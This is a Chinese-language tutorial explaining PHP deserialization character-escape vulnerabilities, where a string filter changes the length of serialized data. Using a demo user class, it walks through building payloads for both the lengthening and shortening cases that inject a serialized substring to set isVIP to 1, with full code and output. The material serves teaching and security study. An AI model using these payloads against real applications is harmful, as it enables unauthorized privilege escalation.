PHP反序列化字符逃逸详解
PHP反序列化字符逃逸的原理
当开发者使用先将对象序列化，然后将对象中的字符进行过滤，最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
详解PHP反序列化字符逃逸
对于PHP反序列字符逃逸，我们分为以下两种情况进行讨论。
过滤后字符变多
过滤后字符变少
过滤后字符变多
假设我们先定义一个user类，然后里面一共有3个成员变量：username、password、isVIP。
class user{ public $username; public $password; public $isVIP;
public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}可以看到当这个类被初始化的时候，isVIP变量默认是0，并且不受初始化传入的参数影响。
接下来把完整代码贴出来，便于我们分析。
<?phpclass user{ public $username; public $password; public $isVIP;
public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}
$a = new user("admin","123456");$a_seri = serialize($a);
echo $a_seri;?>这一段程序的输出结果如下：
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到，对象序列化之后的isVIP变量是0。
这个时候我们增加一个函数，用于对admin字符进行替换，将admin替换为hacker，替换函数如下：
function filter($s){ return str_replace("admin","hacker",$s);}因此整段程序如下：
<?phpclass user{ public $username; public $password; public $isVIP;
public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}
function filter($s){ return str_replace("admin","hacker",$s);}
$a = new user("admin","123456");$a_seri = serialize($a);$a_seri_filter = filter($a_seri);
echo $a_seri_filter;?>这一段程序的输出为：
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下：
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤可以看到已过滤字符串中的hacker与前面的字符长度不对应了
s:5:"admin";s:5:"hacker";在这个时候，对于我们，在新建对象的时候，传入的admin就是我们的可控变量
接下来明确我们的目标：将isVIP变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比：
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}//现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串也就是说，我们要在admin这个可控变量的位置，注入我们的目标子串。
首先计算我们需要注入的目标子串的长度：
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47因为我们需要逃逸的字符串长度为47，并且admin每次过滤之后都会变成hacker，也就是说每出现一次admin，就会多1个字符。
因此我们在可控变量处，重复47遍admin，然后加上我们逃逸后的目标子串，可控变量修改如下：
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下：
<?phpclass user{public $username;public $password;public $isVIP;
public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}
function filter($s){return str_replace("admin","hacker",$s);}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);
echo $a_seri_filter;?>程序输出结果为：
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们可以数一下hacker的数量，一共是47个hacker，共282个字符，正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后，多余的子串会被抛弃
我们接着将这个序列化结果反序列化，然后将其输出，完整代码如下：
<?phpclass user{public $username;public $password;public $isVIP;
public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}
function filter($s){return str_replace("admin","hacker",$s);}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);?>程序输出如下：
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)}可以看到这个时候，isVIP这个变量就变成了1，反序列化字符逃逸的目的也就达到了。
过滤后字符变少
上面描述了PHP反序列化字符逃逸中字符变多的情况。
以下开始解释反序列化字符逃逸变少的情况。
首先，和上面的主体代码还是一样，还是同一个class，与之有区别的是过滤函数中，我们将hacker修改为hack。
完整代码如下：
<?phpclass user{public $username;public $password;public $isVIP;
public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}
function filter($s){return str_replace("admin","hack",$s);}
$a = new user('admin','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);
echo $a_seri_filter;?>得到结果：
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串：
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}//现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串因为过滤的时候，将5个字符删减为了4个，所以和上面字符变多的情况相反，随着加入的admin的数量增多，现有子串后面会缩进来。
计算一下目标子串的长度：
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串//长度为47再计算一下到下一个可控变量的字符串长度：
";s:8:"password";s:6:"//长度为22因为每次过滤的时候都会少1个字符，因此我们先将admin字符重复22遍（这里的22遍不像字符变多的逃逸情况精确，后面可能会需要做调整）
完整代码如下：（这里的变量里一共有22个admin）
<?phpclass user{public $username;public $password;public $isVIP;
public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}
function filter($s){return str_replace("admin","hack",$s);}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);
echo $a_seri_filter;?>输出结果：
注意：PHP反序列化的机制是，比如如果前面是规定了有10个字符，但是只读到了9个就到了双引号，这个时候PHP会把双引号当做第10个字符，也就是说不根据双引号判断一个字符串是否已经结束，而是根据前面规定的数量来读取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105，也就是说我们需要读取到105个字符。从第一个引号开始，105个字符如下：
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量，在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串
完整代码为：
<?phpclass user{public $username;public $password;public $isVIP;
public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}
function filter($s){return str_replace("admin","hack",$s);}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);
echo $a_seri_filter;?>输出：
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符，但是前面只有显示105
造成这种现象的原因是：替换之前我们目标子串的位置是123456，一共6个字符，替换之后我们的目标子串显然超过10个字符，所以会造成计算得到的payload不准确
解决办法是：多添加2个admin，这样就可以补上缺少的字符。
修改后代码如下：
<?phpclass user{public $username;public $password;public $isVIP;
public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}
function filter($s){return str_replace("admin","hack",$s);}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);
echo $a_seri_filter;?>输出结果为：
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果：
可以看到，这一下就对了。
我们将对象反序列化然后输出，代码如下：
<?phpclass user{public $username;public $password;public $isVIP;
public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}
function filter($s){return str_replace("admin","hack",$s);}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);?>得到结果：
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)}可以看到，这个时候isVIP的值也为1，也就达到了我们反序列化字符逃逸的目的了
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